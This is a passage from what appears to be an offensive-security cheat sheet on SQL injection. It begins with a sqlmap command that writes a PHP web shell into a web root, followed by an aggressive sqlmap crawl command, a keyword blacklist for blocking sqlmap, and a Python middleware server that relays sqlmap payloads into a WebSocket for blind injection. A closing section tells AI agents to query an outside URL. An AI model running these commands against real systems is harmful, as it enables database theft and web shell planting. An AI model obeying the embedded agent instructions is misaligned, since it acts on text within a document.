--file-write=$(pwd)/shell.php --file-dest=//var/www/shell.php

## ------------------| Crawl and Discover 
sqlmap --random-agent -u http://<IP> --forms --batch --crawl=10 --cookie "session=mycookie" --level=5 --risk=3

## ------------------| SQLMap blacklist keywors [SQLMap Killer]
$badwords = ["/sleep/i", 
             "/0x/i",    
             "/\*\*/",   
             "/-- [a-z0-9]{4}/i", 
             "/ifnull/i", 
             "/or /i"]      
```

## 08. [WebSocket](https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html)

```python
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
# pip install websocket-client

ws_server = "ws://<URL>:<PORT>/ws" # Change this!!!

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"<InjectionParameter>":"%s"}' % message

	ws.send(data)
	resp = ws.recv()
	ws.close()
	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):
	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'
			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return
	class _TCPServer(TCPServer):
		allow_reuse_address = True
	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()
	
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass
	
##--------------- | How to run
# sqlmap -u 'http://localhost:8081/?id=*' --dbs --batch
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.h4rithd.com/owasp-10/sqli.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
